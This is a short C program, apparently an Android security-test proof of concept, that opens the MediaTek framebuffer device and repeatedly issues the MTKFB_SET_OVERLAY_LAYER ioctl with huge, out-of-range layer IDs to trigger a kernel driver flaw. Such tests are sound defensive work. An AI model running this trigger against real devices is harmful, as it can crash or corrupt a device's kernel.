C++程序  |  60行  |  1.79 KB

/*
 * Copyright (C) 2017 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
#include <sys/mman.h>
#include <fcntl.h>
//#include <pthread.h>
#include <sys/prctl.h>
#include <unistd.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <asm-generic/ioctl.h>
#include "mtkfb.h"
int main(int argc, char **argv) {
    int fd = 0;
    struct fb_overlay_layer layerInfo;
    memset(&layerInfo, 0, sizeof(layerInfo));
    fd = open("/dev/graphics/fb0", O_RDWR);
    if (fd < 0) {
		perror("open /dev/graphics/fb0");
		exit(-1);
    }
    printf("Device file opened successfully\n");
    printf("Trying to get layer info\n");
    if(ioctl(fd, MTKFB_GET_OVERLAY_LAYER_INFO, &layerInfo) == -1) {
        perror("ioctl MTKFB_GET_OVERLAY_LAYER_INFO failed");
        exit(-2);
    }
    printf("Got layer info\n");
    printf("Trying to set layer info\n");
    // set any huge value here
    int curr_val = 0xf1111111;
    while(1) {
        layerInfo.layer_id = curr_val;
        if(ioctl(fd, MTKFB_SET_OVERLAY_LAYER, &layerInfo) == -1) {
            perror("ioctl MTKFB_SET_OVERLAY_LAYER failed");
            //exit(-2);
        }
        curr_val--;
        if(curr_val == -1) {
            break;
        }
    }
    printf("Set layer info\n");
    return 0;
}